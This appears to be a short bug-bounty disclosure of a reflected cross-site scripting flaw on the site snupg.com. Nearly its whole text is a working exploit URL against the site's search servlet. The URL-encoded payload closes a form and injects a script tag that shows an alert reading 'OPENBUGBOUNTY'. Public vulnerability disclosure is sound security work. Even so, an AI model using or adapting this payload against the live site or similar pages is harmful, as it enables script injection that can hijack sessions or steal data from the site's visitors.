snupg.com XSS vulnerability

Vulnerable URL: http://www.snupg.com/servlet/SearchServlet.do?=%5B%27%27%5D=%5B%272%27%5D=%5B%270%27%5D=%5B%27%5Cxe8%5Cxaf%5Cxb7%5Cxe8%5Cxbe%5Cx93%5Cxe5%5Cx85%5Cxa5%5Cxe5%5Cx85%5Cxb3%5Cxe9%5Cx94%5Cxae%5Cxe5%5Cxad%5Cx97%27%5D%22%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E...